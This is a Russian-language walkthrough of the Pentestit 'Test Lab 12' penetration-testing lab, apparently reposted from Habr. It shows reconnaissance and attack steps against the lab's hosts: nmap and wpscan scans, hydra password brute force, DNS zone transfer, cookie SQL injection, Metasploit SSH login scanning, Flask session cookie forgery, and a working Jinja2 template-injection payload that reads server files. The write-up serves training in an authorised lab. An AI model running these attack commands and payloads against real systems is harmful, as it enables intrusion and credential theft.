- PVSM.RU - https://www.pvsm.ru -

Каждый год компания Pentestit запускает новую лабораторию для тестирования на проникновение «Test Lab», и данная статья будет посвящена прохождению 12-ой лаборатории, получившей название «z 9r347 39u411z3r» или если раскодировать — «The great equalizer».
Подключение к лаборатории происходит через VPN-соединение (так как я проходил лабораторию на машине под управлением ОС Linux, то все действия будут описаны именно для этой платформы). Для того чтобы попасть в частную сеть, необходимо выполнить следующие шаги:
Нам доступна сеть 192.168.101.X с маской 255.255.255.0. Первым делом необходимо найти «живые хосты» в сети. Сделать это легко можно с помощью утилиты nmap:
nmap -sn 192.168.101.0/24

Так мы находим три хоста, один из которых мы уже знаем (шлюз):
Вторым этапом является сканирование обнаруженных хостов для поиска открытых и закрытых портов.
nmap -sV -Pn 192.168.101.12-13 -p-

Из отчетов видно, что недоступен 192.168.101.13, поэтому начинаем с 192.168.101.12. На 80 порту крутится web-сервер. Но при попытке зайти на него, возникает редирект на site.test.lab [3], который нам неизвестен (DNS не настроен на данный редирект). Проверку осуществляем с помощью браузера и утилиты curl.
curl http://192.168.101.12:80/
curl http://site.test.lab/

Сделаем запись в файле /etc/hosts для site.test.lab. Теперь, мы спокойно заходим на сайт.

Первым делом нужно собрать информацию о сайте. Самым важным является движок сайта (CMS — система управления контентом). Для этого используем утилиту wig.
wig -u http://site.test.lab/
По анализу получаем отчет – используется WordPress. Разберем вывод wig:


Для сканирования CMS WordPress и, что важнее, установленных плагинов (именно они в большинстве своем уязвимы), лучше всего подойдет утилита wpscan.
wpscan --url http://site.test.lab/ --enumerate p --random-user-agent
Мы получаем нужную нам информацию: версию WordPress, уязвимости и установленные плагины. Дело в том, что данные уязвимости не предоставят нам желаемый доступ. Очень полезно определить используемы плагины. В данном случае это «wp-survey-and-poll». Важно понимать, что сканеры следует использовать лишь для получения информации о ПО. Так как нет единой базы узвимостей, то сканер может показать не все существующие эксплоиты. В результате сканирования имеем:


Утилита searchsploit предназначена для удобного поиска в самой большой базе эксплойтов exploit-db, которая скачивается и сохраняется на ПК. Для версии 4.9.8 уязвимости в базе не обнаружено. Если проверим плагин, то обнаружим две уязвимости.
searchsploit "WordPress Survey Poll"

Узнаем больше про эти уязвимости. Это обычная Bind SQL-инъекция в сookie. Нам нужно ответить на вопрос и подставить в куки свой запрос. Техника очень проста: (любое выражение) OR 1=2 вернет ложь, тогда СУБД вместо решения на наш ответ выведет на экран вторую часть UNION объединенного запроса. Это все столбцы, один из которых (No 10) будет отображен на странице. Но эксплуатация из данного сегмента сети была невозможна, как стало позже известно, потому что блокирует WAF.

После неудачи на сайте необходимо найти другие точки входа. На сайте можно было найти логин info@test.lab, который мы будем использовать для подбора аутентификационной информации. Пройдемся по другим портам. На 8080 крутится web, но используется CSRF-токен. На 25 smtp, пароль к которому подобрать не вышло. У нас остается только порт 143 — это служба IMAP. Для брута я использовал инструмент hydra. Как оказалось, пароль был очень простой.
hydra -l info@test.lab -P '/root/rockyou.txt' imap://192.168.101.12

Так как мы нашли логин и пароль к почте, то авторизуемся на 192.168.101.12:8080.Теперь нужно как следует проанализировать всю почту. Причем необходимо собирать всю информацию, так как она может пригодиться позже. Вот что удалось найти:

Нам нужно расширяться в глубь сети компании. У нас есть VPN-конфиг, но отключиться от основного мы не можем. Данная техника называется VPN over VPN – когда мы подключаем VPN внутри VPN внутри VPN и т. д. Для VPN необходимы логин и пароль. Мы знаем только 2-х пользователей (info и sviridov) и пароль одного из них. Пробуем подключиться по известному логину и паролю, если не получится, то будем брутить. Для подключения выполним следующие шаги:

Нам повезло, пользователь info@test.lab успешно авторизован, и нам говорят, что доступна новая сеть 172.16.0.0/16.

Первым делом необходимо найти «живые хосты» в сети, как это делали в прошлый раз:
nmap -sn 172.16.0.0/16
Так мы находим четыре хоста.

Просканируем каждый хост. На 172.16.0.1 ничего не обнаружено. Смею предположить, что это наш давно известный 192.168.101.13 в другой сети. Именно через него мы и связаны с этой сетью. На 172.16.0.10 доступен только Web-сервер на 80 порту. На 172.16.0.17 видим целый «полигон» для тестирования. На 172.16.1.2 ничего. Скорее всего это еще один VPN сервис.

Так как следующий в списке токенов – DNS, то начнем анализировать DNS службу на 172.16.0.17 порт 53. Главная уязвимость, это получение DNS записей — трансфер зоны DNS (так называем AXFR запрос). Выполним его с помощью утилит nslookup и dig.
Первой узнаем зоны и имена серверов, отвечающих за эти зоны.
nslookup
> set type=ANY
> set port=53
> SERVER 172.16.0.17
> test.lab
Второй выполним трансфер.
dig @172.16.0.17 ns1.test.lab axfr


Этот DNS-сервер не отвечает. Но он знает об остальных DNS в сети. Утилита dnsrecon позволяет проделать абсолютные любые операции с dns. Получим остальные DNS в сети, и добавим их в файл /etc/hosts.
dnsrecon -d test.lab -n 172.16.0.17 -t brt
При сканировании хоста 172.16.0.17 получим токен.
dnsrecon -d test.lab -n 172.16.0.17 -a

Следующее по списку задание: helpdesk. Мы нашли и добавили схожий домен. Причем это единственный сервис, который работает на 172.16.0.10. Там простая форма авторизации, никаких CMS не используется. Как всегда, пробуем войти под известными пользователями. И спокойно заходим под пользователем info@test.lab. Видим форму запросов, после запроса token, ничего не получаем. Видимо у нас его нет, но, как это бывает в подобных заданиях, он доступен другому пользователю. Немного просмотрев страницу, находим возможность сменить пароль.

Просканировав различными сканерами формы поиска и смены пароля, ничего не находим. Глянем исходный код страницы смены пароля. Если его обновить секолько раз, то можно заметить, что скрытое поле с CSRF-токеном не изменяется. То есть это не CSRF-токен. Это base64, декодируем и получаем число.


Так как не отправляются никакие cookie, то очевидно, что это id пользователя. План следующий: меняем пароли на всех id, а на тех id, на которых получен успешный результат, по нашему паролю подбираем логин.




Всего два id ответили успешно на запрос о смене пароля. Теперь осталось подобрать логин. Root и admin результата не дали, а вот sviridov@test.lab дает нам токен.
Перед тем, как идти по пути VPN, посмотрим сервисы на 172.16.0.17. Копаем SAMBA workgroup TEST (из анализа nmap). Первым делом нужно узнать пользователей в домене:
enum4linux -U 172.16.0.17
Enum4linux определяет домены, пользователей в доменах, их rid и другую информацию. Среди пользователей забираем и токен. Кстати, все логины лучше сохранить.

Из helpdesk задания узнали, что пользователю sviridov выдали доступ к сети, т. е. vpn конфиг. Пароль берем также из helpdesk. Пробуем подключиться к 192.168.101.13 по имеющемуся конфигу, но заменим логин и пароль пользователя в userVPN.txt.

Ничего не получается. Тогда пробуем подключится к 192.168.101.12. Мы подключены, и нам доступны сети 192.168.0.0/24 и 172.16.0.0/16.

Теперь снова необходимо проводить разведку сети. Нам доступна две сеть 172.16.0.0 с маской 255.255.0.0, где мы находим восемь хостов, и сеть 192.168.0.0/24, которая не сканируется. Видимо на всех хостах активирован брэндмауер. Сканируем с опцией -Pn, и в отчете получаем абсолютно все хосты и везде фильтруются порты. Замечаем, что в сети есть хосты, у которых открыт 22 порт:




Так как единственное, что есть в сети 192.168.0.0/24 – шесть хостов с открытыми ssh портами, то пробрутим их все на возможность подключения под одним из известных нам пользователей.

Так как хостов шесть, то автоматизируем поиск с помощью утилиты metasploit framework. Будем использовать модуль auxiliary/scanner/ssh/ssh_login.
> use auxiliary/scanner/ssh/ssh_login
> set RHOSTS 192.168.0.10 192.168.0.15 192.168.0.30 192.168.0.100 192.168.0.205 192.168.0.240
> set USERPASS_FILE '/root/CTF/PT12/userspass.txt'
> exploit

Заходим на все хосты под обоими пользователями и ищем информацию. После долгого блуждания на 192.168.0.100 находим ошибку в правах доступа. Домашняя директория пользователя доступна для просмотра абсолютно всем. В ней находим токен. Но его автор – sviridov. Логинимся под Свридовым и сдаем токен.

Больше ничего интересного найдено не было. Ip route других сетей не имел. В cron стояла только чистилка. В /tmp/ много непонятного:
В сети 172.16.0.0/16 на всех хостах открыт 80 порт. Стоит просмотреть сайты на всех хостах:
Было очень легко, идем дальше.
Идем на 172.16.1.12 [7]. Читаем что такое Prewikka. Prewikka – это основной пользовательский интерфейс SIEM-системы Prelude, реализованный через Web. Доступ к интерфейсу осуществляется через Web-браузер. Аутентификация производится с помощью локальных учетных записей или через LDAP-каталог. Эксплоиты найти не удалось. Гуглим логин и пароль по умолчанию. Неудача, т. к. они указываются при установке системы. Но можно попробобать пример из документации: prelude:preludepasswd — не подошло. Попробуем пользователей, которых мы уже знаем (причем мы знаем пароли только двоих). Подошел sviridov. Важно заметить, что доступ к SIEM системе имеет только администратор. Можно утверждать, что мы определили админа.
Наблюдаем, что выводятся данные за этот месяц. Переведем журнал на месяц ранее и увидим залогированные данные.

Сразу отметим домены, которые добавим в /etc/hosts:

Среди логов repository.test.lab найдем токен.

Так как мы нашли и добавили новую запись для site.test.lab в /etc/hosts, вернемся и проэксплуатируем уязвимость на site.
Вернемся к site.test.lab, который теперь соответствует 172.16.0.14. Посмотрим, сработает ли на него WAF. Отправляем нашу нагрузку из примера и получаем версию СУБД. Далее узнаем какая база данных используется. Если совпадет с дефолтными данными, то можно сразу получить имя и хеш пользователя, так как по дефолту таблица с пользователями: wp_users. Имя БД (wordpress) совпадает, поэтому узнаем имя пользователя и пароль. К сожалению, это ничего не дает. Пароль пробрутить тоже не вышло.
Далее (технику я описывать не буду, это основы) идем по обычному в данном случае пути – получаем названия всех таблиц. Среди них есть нужная таблица – token. Узнаем какие есть столбцы и типы данных. После чего понимаем, что нужно получить значение name.


В SIEM мы нашли логи для repository.test.lab. Попробуем авторизоваться при помощи найденных данных. Можно снова вернуться и поискать логи абсолютно на все сервисы, которые там есть.

Переходим, пытаемся авторизоваться. Успешно!!! Видим какие-то файлы и токен.

В репозитории кроме токена лежали еще два файла. Один из них для задания Reverse – это bin файл. Проведем базовый анализ исполняемого файла:

Полезных нам данных мы не получили. Для заданий такого плана я предпочитаю использовать Angr [8] для автоматического решения (более подробно про библиотеку angr я напишу в последующих статьях). Привожу код на языке python.
import angr
import claripy
proj = angr.Project('./bin')
simgr = proj.factory.simgr()
simgr.explore(find=lambda s: b"ACCESS GRANTED!" in s.posix.dumps(1))
s = simgr.found[0]
print(s.posix.dumps(0))
Получаем токен в качестве ответа.

Теперь разберемся с jar-файлом. Нужно понять, что он делает. Java является декомпилируемым языком, поэтому получим исходный код. Есть много программ, которые позволяют это сделать (лучшие: JAD, JD-gui, Javasnoop, плагин Intellij Idea Decompiler, JD-plugin Eclipse). Я использую JD-gui для декомпиляции и Intellij Idea для сборки проектов. Получим исходный проект, выполнив следующие шаги:
java --add-opens java.base/jdk.internal.loader=ALL-UNNAMED --add-opens jdk.zipfs/jdk.nio.zipfs=ALL-UNNAMED -jar /usr/share/jd-gui/jd-gui.jar

Разберем код приложения, чтобы представлять себе для чего оно нужно. Первым делом устанавливаются параметры подключения и SSL. Обращение происходит по адресу 172.16.0.55 на порт 5074. Далее нам выводится сообщение с просьбой ввести одну из цифр для выбора запроса. В зависимости от нее в функцию Reqvest передается определенный параметр. Функция Reqvest возвращает сформированный запрос в формате json. Отправляем запрос и получаем ответ.


Есть сложность: нам не доступен хост 172.16.0.55. Но мы нашли подобное приложение на 192.168.0.240 у Свиридова. Значит маршрутизация настроена таким образом, что с его компьютера есть доступ к серверу приложения. Так как мы имеем доступ по SSH, мы можем пробросить порт на свою локаль. Для проброса порта используем утилиту sshuttle.
sshuttle -r sviridov@192.168.0.240 172.16.0.0/16

Как итог — получаем доступ в сеть.

Теперь протестируем приложение в режиме отладки, но чтобы что-то изменить, нужно пересобрать проект. При попытке запустить приложение через F9, получаем ошибку. Для ее исправления необходимо:

Теперь приложение успешно запускается, и мы можем приступить к поиску уязвимостей. Строка запроса, как мы разобрались, формируется внутри функции Reqvest. Изменим немного код, чтобы понять, как реагирует система на любой наш ввод. Допишем строки, в которых будем контролировать возвращаемый параметр и отображать его в консоли. Далее выполним четыре возможных запроса. Как можем наблюдать, передается JSON-строка. И система, чем-то напоминает HelpDesk, вернет нам запросы пользователя. Кстати, видимо на сервере крутятся базы данных, так как приложение возвращает нам пользователя под которым сделан запрос.



Для того, чтобы было удобней изменять и подстраивать параметры, сделаем так, чтобы функция возвращала постоянно одну и ту же строку.

Так как на сервере используется БД, то первым делом проверим наличие SQL-иньекции:




Вот таким интересным получилось данное задание!!!
После обнаружения шести скрытых хостов в сети 192.168.0.0/24 я задумался о том, что такие могут быть и в 172.16.0.0/16. Выполним такое же сканирование по оcновным портам. Так как вывод слишком большой то будем искать по ключевому слову «open». Находим еще два хоста с открытым вебом.

Что же, раз от нас пытались скрыть 172.16.1.20:8000, заходим на него и видим AJAX-приложение. Ну как всегда просканируем директории. Все, что нашел dirb, и так нам доступно.

Страница contact для нас бесполезна. Страница login требует авторизоваться. А support содержит какой-то файл-баркод. Похоже это стего, поэтому пока оставим. Кстати, если заходить на эту страницу несколько раз, то появляются разные изображения. Сохраним все, их всего 4. Декодируются как «support_team».
Просморим, какие каталоги есть. Наблюдаем пять каталогов: contac, get_user_list, recover_password, login, support. Так если обратиться к каталогу get_user_list, нам скажут, что есть два параметра – строка login и строка password. Смотрим, подбираем пользователей и пароли – ничего не дает. В баркодах было support_team пробуем как логин. И снова брут нигде ничего не дает.

Случайно вставив кавычку, обнаружим странную реакцию.
login=support_team“&password=“ and “1=1“
И нам показывают список пользователей.

При попытке зайти под любым пользователем, получаем ту же ошибку. Найдем верную пару user:login. Напишем скрипт, который пройдет все пары и выберет те, которые пройдут проверку.
from requests import get
list_user = [{"login": "potapova", "user": "Potapova"}, {"login": "popov", "user": "Popov"}, {"login": "kiselev", "user": "Kiselev"}, {"login": "semenova", "user": "Semenova"}, {"login": "kulikov", "user": "Kulikov"}, {"login": "uvarov", "user": "Uvarov"}, {"login": "blohina", "user": "Blohina"}, {"login": "frolova", "user": "Frolova"}, {"login": "volkova", "user": "Volkova"}, {"login": "morozova", "user": "Morozova"}, {"login": "fadeeva", "user": "Fadeeva"}, {"login": "gorbacheva", "user": "Gorbacheva"}, {"login": "pavlova", "user": "Pavlova"}, {"login": "ivanov", "user": "Ivanov"}, {"login": "safonov", "user": "Safonov"}, {"login": "kalinina", "user": "Kalinina"}, {"login": "krjukova", "user": "Krjukova"}, {"login": "bogdanov", "user": "Bogdanov"}, {"login": "shubin", "user": "Shubin"}, {"login": "lapin", "user": "Lapin"}, {"login": "avdeeva", "user": "Avdeeva"}, {"login": "zaharova", "user": "Zaharova"}, {"login": "kudrjashova", "user": "Kudrjashova"}, {"login": "sysoev", "user": "Sysoev"}, {"login": "panfilov", "user": "Panfilov"}, {"login": "konstantinova", "user": "Konstantinova"}, {"login": "prohorova", "user": "Prohorova"}, {"login": "lukin", "user": "Lukin"}, {"login": "avdeeva", "user": "Avdeeva"}, {"login": "eliseev", "user": "Eliseev"}, {"login": "maksimov", "user": "Maksimov"}, {"login": "aleksandrova", "user": "Aleksandrova"}, {"login": "bobrova", "user": "Bobrova"}, {"login": "ignatova", "user": "Ignatova"}, {"login": "belov", "user": "Belov"}, {"login": "fedorova", "user": "Fedorova"}, {"login": "mihajlova", "user": "Mihajlova"}, {"login": "burov", "user": "Burov"}, {"login": "rogov", "user": "Rogov"}, {"login": "kornilov", "user": "Kornilov"}, {"login": "fedotova", "user": "Fedotova"}, {"login": "nikolaeva", "user": "Nikolaeva"}, {"login": "nikiforov", "user": "Nikiforov"}, {"login": "sobolev", "user": "Sobolev"}, {"login": "molchanova", "user": "Molchanova"}, {"login": "sysoev", "user": "Sysoev"}, {"login": "jakovleva", "user": "Jakovleva"}, {"login": "blinova", "user": "Blinova"}, {"login": "eliseev", "user": "Eliseev"}, {"login": "avdeeva", "user": "Avdeeva"}, {"login": "komissarova", "user": "Komissarova"}, {"login": "kazakova", "user": "Kazakova"}, {"login": "lobanov", "user": "Lobanov"}, {"login": "panova", "user": "Panova"}, {"login": "ovchinnikova", "user": "Ovchinnikova"}, {"login": "bykov", "user": "Bykov"}, {"login": "karpov", "user": "Karpov"}, {"login": "panova", "user": "Panova"}, {"login": "guschina", "user": "Guschina"}, {"login": "korolev", "user": "Korolev"}, {"login": "shilov", "user": "Shilov"}, {"login": "burov", "user": "Burov"}, {"login": "zhuravlev", "user": "Zhuravlev"}, {"login": "fomichev", "user": "Fomichev"}, {"login": "ponomareva", "user": "Ponomareva"}, {"login": "nikiforov", "user": "Nikiforov"}, {"login": "bobrova", "user": "Bobrova"}, {"login": "stepanova", "user": "Stepanova"}, {"login": "dmitriev", "user": "Dmitriev"}, {"login": "dorofeeva", "user": "Dorofeeva"}, {"login": "silin", "user": "Silin"}, {"login": "tsvetkov", "user": "Tsvetkov"}, {"login": "antonov", "user": "Antonov"}, {"login": "belov", "user": "Belov"}, {"login": "novikova", "user": "Novikova"}, {"login": "martynov", "user": "Martynov"}, {"login": "kovalev", "user": "Kovalev"}, {"login": "egorov", "user": "Egorov"}, {"login": "kirillova", "user": "Kirillova"}, {"login": "chernova", "user": "Chernova"}, {"login": "dmitriev", "user": "Dmitriev"}, {"login": "kazakov", "user": "Kazakov"}, {"login": "gavrilova", "user": "Gavrilova"}, {"login": "beljaeva", "user": "Beljaeva"}, {"login": "kulakova", "user": "Kulakova"}, {"login": "samsonova", "user": "Samsonova"}, {"login": "pavlova", "user": "Pavlova"}, {"login": "zimina", "user": "Zimina"}, {"login": "sidorova", "user": "Sidorova"}, {"login": "strelkov", "user": "Strelkov"}, {"login": "guseva", "user": "Guseva"}, {"login": "kulikov", "user": "Kulikov"}, {"login": "shestakov", "user": "Shestakov"}, {"login": "ershova", "user": "Ershova"}, {"login": "davydov", "user": "Davydov"}, {"login": "nikolaev", "user": "Nikolaev"}, {"login": "andreev", "user": "Andreev"}, {"login": "rjabova", "user": "Rjabova"}, {"login": "grishin", "user": "Grishin"}, {"login": "turov", "user": "Turov"}, {"login": "kopylov", "user": "Kopylov"}, {"login": "maksimova", "user": "Maksimova"}, {"login": "egorov", "user": "Egorov"}, {"login": "seliverstov", "user": "Seliverstov"}, {"login": "kolobov", "user": "Kolobov"}, {"login": "kornilova", "user": "Kornilova"}, {"login": "romanov", "user": "Romanov"}, {"login": "beljakov", "user": "Beljakov"}, {"login": "morozov", "user": "Morozov"}, {"login": "konovalova", "user": "Konovalova"}, {"login": "kolobov", "user": "Kolobov"}, {"login": "koshelev", "user": "Koshelev"}, {"login": "bogdanov", "user": "Bogdanov"}, {"login": "seleznev", "user": "Seleznev"}, {"login": "smirnov", "user": "Smirnov"}, {"login": "mamontova", "user": "Mamontova"}, {"login": "voronova", "user": "Voronova"}, {"login": "zhdanov", "user": "Zhdanov"}, {"login": "zueva", "user": "Zueva"}, {"login": "mjasnikova", "user": "Mjasnikova"}, {"login": "medvedeva", "user": "Medvedeva"}, {"login": "knjazeva", "user": "Knjazeva"}, {"login": "kuznetsova", "user": "Kuznetsova"}, {"login": "komissarova", "user": "Komissarova"}, {"login": "gorbunova", "user": "Gorbunova"}, {"login": "blohina", "user": "Blohina"}, {"login": "tarasov", "user": "Tarasov"}, {"login": "lazarev", "user": "Lazarev"}, {"login": "rusakova", "user": "Rusakova"}, {"login": "vinogradov", "user": "Vinogradov"}, {"login": "shilov", "user": "Shilov"}, {"login": "strelkova", "user": "Strelkova"}, {"login": "komissarov", "user": "Komissarov"}, {"login": "kirillov", "user": "Kirillov"}, {"login": "jakusheva", "user": "Jakusheva"}, {"login": "mironov", "user": "Mironov"}, {"login": "kudrjavtseva", "user": "Kudrjavtseva"}, {"login": "vlasova", "user": "Vlasova"}, {"login": "fomin", "user": "Fomin"}, {"login": "nosova", "user": "Nosova"}, {"login": "aleksandrov", "user": "Aleksandrov"}, {"login": "teterina", "user": "Teterina"}, {"login": "gromov", "user": "Gromov"}, {"login": "odintsova", "user": "Odintsova"}, {"login": "schukin", "user": "Schukin"}, {"login": "shashkov", "user": "Shashkov"}, {"login": "lobanova", "user": "Lobanova"}, {"login": "suvorova", "user": "Suvorova"}, {"login": "panfilov", "user": "Panfilov"}, {"login": "loginov", "user": "Loginov"}, {"login": "kovalev", "user": "Kovalev"}, {"login": "rybakov", "user": "Rybakov"}, {"login": "konstantinova", "user": "Konstantinova"}, {"login": "bykov", "user": "Bykov"}, {"login": "lukina", "user": "Lukina"}, {"login": "vinogradov", "user": "Vinogradov"}, {"login": "antonova", "user": "Antonova"}, {"login": "nekrasov", "user": "Nekrasov"}, {"login": "mamontova", "user": "Mamontova"}, {"login": "denisov", "user": "Denisov"}, {"login": "stepanova", "user": "Stepanova"}, {"login": "suvorova", "user": "Suvorova"}, {"login": "krjukova", "user": "Krjukova"}, {"login": "samojlova", "user": "Samojlova"}, {"login": "gromov", "user": "Gromov"}, {"login": "kazakov", "user": "Kazakov"}, {"login": "matveev", "user": "Matveev"}, {"login": "sergeeva", "user": "Sergeeva"}, {"login": "bobylev", "user": "Bobylev"}, {"login": "sitnikova", "user": "Sitnikova"}, {"login": "grishina", "user": "Grishina"}, {"login": "blinova", "user": "Blinova"}, {"login": "doronina", "user": "Doronina"}, {"login": "ignatov", "user": "Ignatov"}, {"login": "gromov", "user": "Gromov"}, {"login": "koshelev", "user": "Koshelev"}, {"login": "orehov", "user": "Orehov"}, {"login": "matveev", "user": "Matveev"}, {"login": "rozhkova", "user": "Rozhkova"}, {"login": "gerasimov", "user": "Gerasimov"}, {"login": "martynova", "user": "Martynova"}, {"login": "molchanova", "user": "Molchanova"}, {"login": "timofeeva", "user": "Timofeeva"}, {"login": "kuznetsov", "user": "Kuznetsov"}, {"login": "loginova", "user": "Loginova"}, {"login": "maslova", "user": "Maslova"}, {"login": "matveev", "user": "Matveev"}, {"login": "zaharov", "user": "Zaharov"}, {"login": "nikiforova", "user": "Nikiforova"}, {"login": "galkina", "user": "Galkina"}, {"login": "vishnjakova", "user": "Vishnjakova"}, {"login": "kulakov", "user": "Kulakov"}, {"login": "medvedev", "user": "Medvedev"}, {"login": "antonova", "user": "Antonova"}, {"login": "konovalov", "user": "Konovalov"}, {"login": "lazarev", "user": "Lazarev"}, {"login": "bobylev", "user": "Bobylev"}, {"login": "lihachev", "user": "Lihachev"}, {"login": "nikolaeva", "user": "Nikolaeva"}, {"login": "bogdanov", "user": "Bogdanov"}, {"login": "gorbachev", "user": "Gorbachev"}, {"login": "nikolaev", "user": "Nikolaev"}, {"login": "semenova", "user": "Semenova"}, {"login": "semenov", "user": "Semenov"}, {"login": "kuznetsov", "user": "Kuznetsov"}, {"login": "gromova", "user": "Gromova"}, {"login": "samsonov", "user": "Samsonov"}, {"login": "konovalov", "user": "Konovalov"}, {"login": "gusev", "user": "Gusev"}, {"login": "sitnikov", "user": "Sitnikov"}, {"login": "ignatov", "user": "Ignatov"}, {"login": "voronova", "user": "Voronova"}, {"login": "mihajlov", "user": "Mihajlov"}, {"login": "lazareva", "user": "Lazareva"}, {"login": "nazarova", "user": "Nazarova"}, {"login": "krylova", "user": "Krylova"}, {"login": "morozova", "user": "Morozova"}, {"login": "medvedeva", "user": "Medvedeva"}, {"login": "samsonova", "user": "Samsonova"}, {"login": "mamontova", "user": "Mamontova"}, {"login": "shirjaeva", "user": "Shirjaeva"}, {"login": "scherbakov", "user": "Scherbakov"}]
url = "http://172.16.1.20:8000/recover_password"
l = len(list_user)
valid=[]
for i in range(l):
print(str(i)+" - " + str(l))
req = get(url, params=list_user[i])
if "use valid credentials" not in req.text:
print(list_user[i])
valid.append(list_user[i])
print(valid)
Так мы находим Медведева.

Восстановим его пароль. Сдать сразу не получится, так как «+» будет распознан как пробел, а «&» как разделитель. Кодируем в URLencode и забираем токен.

Так, мы нашли картинки для стего. Давайте разбираться. Утилитой file, binwalk и hex-редактором проверяем файлы на вложения. Их нет, потому проведем анализ утилитой stegsolve. B самой большой картике находим выпадающие биты на 2-х и 1-х позициях rgb. Это LSB метод.

Дальше, как я не крутил в stegsolve, ничего не получил. Придется разбираться более глубоко ручками. Для этого используем PIL библиотеку python для работы с изображениями. Просматриваем картинку, и видим что пиксели принимают три значения – 0, 255 и 249. Построим бинарную карту изображения. Так как 0 и 255 для баркодов – это нормальные значения, то вместо них будем записывать «0», а вместо 249 – «1». Дальше попробуем разбить нашу карту по шестнадцать символов и удалить из нее все строки, которые содержат только шестнадцать нулей. Далее из каждой строки выписываем позицию единицы, и переводим из шестнадцатиричного вида в строку, чтобы получить токен.
![]()
from PIL import Image
import binascii
image = Image.open('./support4.png')
width, height = image.size
pix = image.load()
r=''
for i in range(height):
for j in range(width):
if(sum(pix[j,i])!=765 and sum(pix[j,i])!=0):
r+='1'
else:
r+='0'
token=''
for i in range(0,len(r),16):
if r[i:i+16] != '0'*16:
token+=hex(r[i:i+16].find('1'))[2]
print(token)
Так. В файле /etc/hosts есть еще my.test.lab, куда мы еще не ходили. Форма авторизации. У нас есть пользователи info, sviridov и medvedev. Успешно заходим под info. Есть строка поиска. На запрос токена нам выдают пять картинок с пони. Ничего нет, Просканируем. При использовании wapiti нас банят. При некоторых запросах для проверки SQL-inj и XSS также получаем бан. Отправляем простой запрос для тестирования SSTI: {{7*7}}. И код выполнился, так как в ответе мы получили 49.

Осталось определить шаблонизатор, который используется на сервере. Это необходимо для того, чтобы знать с каким окружением (переменные, функции, константы и т. п.) работать. Это можно легко сделать по следующей схеме.

Уже знаем, что это Jinja2 или Twig. Поэтому отправляем следующий запрос: {{7*“7“}}. Получаем положительный ответ. Это питоновский шаблонизатор Jinja2, что легко подтверждается запросом {{self}}.


Просмотрим конфигурации: {{config}}. Там находим секретный ключ, который и является токеном.

Из документации узнаем, что jinja2 формирует куки в зависимоти от секретного ключа сервера. Для эксплуатации уязвимости нам понадобится скрипт flask-session-cookie-manager [9]. Нам нужно проверить подойдет ли этот секретный ключ. Для этого нам нужно попытаться расшифровать на нем сессию пользователя info. Куки свободно расшифровывается.

Зная формат куки, мы теперь можем войти под любым пользователем. Для этого необходимо также сгенерировать куки. После долгих неудач, заметил корреляцию среднего блока и системного времени. Меняем дату, пока не совпадет начало среднего блока. Дошел до 2060 года. Генерировал пользователей token и sviridov, но это ничего не дает, поэтому решил сгенерировавать для admin. После успешной подмены куки получаем какие-то секретные ключи пользователей, для чего они так и не понял.
![]()
Дальше уходит три дня для поиска RCE (удаленное выполнение кода) через SSTI. Дело в том, что мы можем оперировать только подгруженным на сервере модулям и функциям из них. Для начала узнаем каке функции есть. Это сделаем через flask-cookie.
{{"".__class__.__mro__[1].__subclasses__()}}
Вставляем в куки, обновляем страницу и видим, что вместо имени пользователя отобразились все загруженные классы python на сервере. Среди них есть Popen, что позволит нам читать файлы на сервере.


Теперь осталось прочитать файл по пути /var/www/api/token. К классу мы будем обращаться по индексу (у popen это 94). B нем мы вызовем функцию open, чтобы открыть файл (путь к файлу разобьем, иначе WAF фильтрует) и прочитаем функцией read().
{{[].__class__.__base__.__subclasses__(+)[94].__init__.__globals__['__builtins__']['open']('/var/www'+'/api/token','rb').read(+)}}
В качестве вывода получим файл в виде набора байт, которые скопируем, откроем интерпретатор python и вставим в качестве строки. Далее эту строку запишем в файл. Просмотрим тип файла в утилите file. Это *tar.gz архив. Открываем и забираем токен.

![]()
Осталось последнее задание. В архиве хранится ключ для подключения по ssh. Из анализа SIEM можно узнать, на какой хост подключаться.
![]()
Первым делом необходимо настроить права доступа на ключ, так как при подключении это проверяется (должно быть 600). Далее подключаемся, но нам сообщают, что доступ закрыт и ошибка в ключе.

При просмотре формата ключа, замечаем что его содержимое не соответствует полному файлу. Для этого нам необходима аутентификационная информация, который мы приняли при установлении соединения и SHA хеш, который можно взять в SIEM.

Но теперь при попытке подключиться, под Свиридовым (он же админ), нам говорят, что ключ не подходит. Нужно перебрать всех пользователей, которых мы уже имеем.

Для тестирования ключа и пользователей используем модуль metasploit framework – scanner/ssh/ssh_login_pubkey. И как видим, это ключ пользователя sidorov.

Найдем в файловой системе token.
find | grep token
Дальше проверяем права и сдаем токен.

Вот и пройдена пентест-лаборатория «Pentestit Test lab 12».

Хочется сказать большое спасибо организаторам данной лаборатории, но некоторые задания были больше для CTF нежели для тестирования на проникновения. Надеюсь данная статья поможет кому-то узнать и открыть для себя что-то новое, а кому-то напомнит тот момент, когда он сам проходил данную лабораторию от токена к токену. Теперь ждем 13-ю…
Автор: RalfHacker
Источник [10]
Сайт-источник PVSM.RU: https://www.pvsm.ru
Путь до страницы источника: https://www.pvsm.ru/vzlom/322433
Ссылки в тексте:
[1] здесь: https://lab.pentestit.ru/signup
[2] отсюда: https://lab.pentestit.ru/how-to-connect
[3] site.test.lab: http://site.test.lab/
[4] 172.16.1.10: http://172.16.1.10/
[5] 172.16.1.12: http://172.16.1.12/
[6] 172.16.1.15: http://172.16.1.15/
[7] 172.16.1.12: http://172.16.1.12
[8] Angr: https://angr.io/
[9] flask-session-cookie-manager: https://github.com/noraj/flask-session-cookie-manager
[10] Источник: https://habr.com/ru/post/458214/?utm_source=habrahabr&utm_medium=rss&utm_campaign=458214
Нажмите здесь для печати.